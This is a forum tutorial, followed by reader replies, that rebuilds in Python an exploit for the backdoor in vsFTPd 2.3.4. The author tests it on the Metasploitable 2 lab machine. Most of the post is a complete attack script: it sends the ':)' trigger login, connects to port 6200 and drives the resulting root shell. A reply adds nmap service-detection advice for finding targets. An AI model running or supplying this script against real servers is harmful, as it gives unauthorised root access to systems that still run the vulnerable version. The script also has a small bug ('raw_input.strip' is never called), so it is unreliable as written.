Re-building a vsFTPd backdoor exploit in Python

Hello everyone! I’ve recently discovered my personally favorite way to practice programming languages. Basically, we’re going to find an exploit written in a different language, and we’re going to rebuild it in the language we want to practice.

In this article, we’re going to be rebuilding an exploit that triggers a back door planted in vsFTPd version 2.3.4. Let’s quickly run through how this back door is triggered and then we’ll move onto the code.

Triggering this back door is actually really simple, we simply need to log in with the username “backdoored:)” and the password “invalid”. Once we attempt to log in with these credentials, we should be able to connect to port 6200 to recieve a root shell. Now that we know how this works, let’s get into the code!

First, we’re going to set our interpreter path and import the modules we need:

#! /usr/bin/python

import sys # For arguments
import socket # To trigger the back door
import threading # Shell handling
import time # Delay for shell interaction

Now that we have our modules, let’s quickly handle the command line arguments. We’re going to take the target IP as the first argument, and the target port number as the second. Let’s see the code we’ll use to take our arguments:

if len(sys.argv) == 3:
    pass
else:
    print "usage: ./exploit.py [TARGET IP] [TARGET PORT]"
    sys.exit(1)
target = sys.argv[1]
port = sys.argv[2]

Now that we have our arguments handled, we can make the triggering function. We’re going to need to make a socket and log in with the aforementioned credentials. We’ll name our function “trigger”, simple enough, let’s take a look at the code:

def trigger():
    trigger_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        trigger_socket.connect((target, int(port)))
    except Exception:
        print '[!] Failed to Reach Target'
        sys.exit(1)
    print '[*] Attempting to Trigger the Back Door... '
    banner = trigger_socket.recv(1024)
    if 'vsFTPd 2.3.4' in banner:
        trigger_socket.send("USER backdoored:)\n")
        trigger_socket.recv(1024)
        trigger_socket.send("PASS invalid\n")
        trigger_socket.close()
        print '[*] Trigger Process Complete, Spawning Shell...'
        return
    else:
        print '[!] Invalid Service Detected'
        sys.exit(1)

Alright, now that might seem a bit complicated, but it’s really not. See simply made a socket, grabbed the banner from the server, evaluated the service based on the banner, and logged in with the triggering credentials. Now that we’ve triggered the back door, we need to connect to it.

First, we’re going to make a function that will run as a thread. This means that it will run at the same time as the rest of the script. This function will infinitely print information that it receives from a socket that we’re going to connect to the newly spawned shell. Let’s look at this function now:

def recv_from_shell(sock, status):
    sock.settimeout(3)
    while status == True:
        try:
            print sock.recv(1024).strip()
        except socket.timeout:
            pass
        except Exception:
            return

Now that we have this function, we can make our final function. This function will call the trigger() function, start the recieving the thread, and send the user’s input to the shell. Let’s take a look at this final function:

def handle():
    trigger()
    shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    shell_status = True
    try:
        shell_socket.connect((target, 6200))
    except Exception:
        print '[!] Failed Interaction with Shell'
        sys.exit(1)
    shell_recv_thread = threading.Thread(target=recv_from_shell, args=(shell_socket, shell_status))
    shell_recv_thread.start()
    print '[*] Root Shell Spawned, Pwnage Complete\n'
    while 1:
        command = raw_input.strip()
        if command == 'exit':
            shell_status = False
            shell_socket.close()
            shell_recv_thread.join()
            sys.exit(0)
        shell_socket.send(command + '\n')

try:
    handle()
except Exception:
    sys.exit(1) # Emergency exit

There we go! Now that we have our exploit (available here), let’s launch it against our victim. We’ll be firing it against Metasploitable 2 , which runs vsFTPd 2.3.4 on port 21. Let’s launch our exploit and see what happens:

There we have it! Our exploit woks! I hope that we can re-build more exploits like this in the future, as it’s a very good way to practice a language of your choice. If you have a language you need to practice, feel free to follow this with your own spin on things!

Thank you for reading!

-Defalt

9 Likes

Nice post Defalt! I’ve only just realised how nice socket programming in python is compared to C :stuck_out_tongue: Although C is useful, Python can be a really useful way of writing quick little scripts.

1 Like

Great post mate! Certainly cleared up a lot of stuff for me!:smile:

Nice post!

When will we see it added to the website?

It’s up to the contributor. I don’t think Defalt likes posting to the site using the Github submission platform.

1 Like

This is pretty dope, although I’m unfamiliar with threads in Python.

So… there will be two different places with two different sets of posts?

The pull request thing is not that hard, but posting in here is zero effort… I’d expect that people will post here in the forums and then what is the point of the website… Am I missing something?

P.S.: I’m perfectly fine with people posting here… just want to understand how the two platforms fit together

@0x00pf:
Like we’ve often said, it’s a new site, a work in progress. Some things might not last long; some may change. Nothing is written in stone, literally and metaphorically.

1 Like

Nice! I have medium skills on C and already played a bit with sockets.

I’m looking to learn Python more deeply, i know some OO programming in C++

python make things very simple, and the code looks more clean for me once you don’t declare variables types and don’t need to handle pointers and memory allocations, python manages this for you right?

to try this exploit on a target, i should first make a recon with nmap -v to see the FTP version?

/* AgentSniff */

Yes you’ll need to know the FTP service version to use the exploit. The flag to activate service detection in nmap is -sV

Agreed! There are still discussions undergoing how it should all work.

@oaktree:
LOL. Love the “Dunno” reply.

Nice job! One thing I had read before but forgotten, so it confused me, was that the backdoor requires that a user attempt a login with a username with ‘:)’ in it to be triggered. Before I went and looked this up again, I didn’t get why those particular Username and Password triggered the exploit …

I’ve moved this post to the How-to section for you :wink:

You’re very familiar with Ruby, I gather.

1 Like

That’s because this is not really a exploit. This is a backdoor.

There is code in that specific version of vsftpd that checks if username contains the ‘:)’ string, and then, it fires the remote shell.

2 Likes

Pico is right. You could just log in with a normal FTP client and type the credentials. Some hackers broke into vsftpd and updated the binary on the download page. And thus lots of people updated and downloaded the hacked version of vsftpd.

2 Likes

I think hackers also did the same thing with the download for a Linux Distro. Mint I believe it was. Although I’m not too well read on which one it was.

1 Like

I recall something similar aswell. Can’t put my finger on it though.

I think the Linux community for that distro wanted to keep it quiet so that the amount of users they had, and got wouldn’t be affected. Either way, we know it’s a possibility, and it just reinforces the fact that we should e more wary of a “download” button, even on our most trusted websites.

2 Likes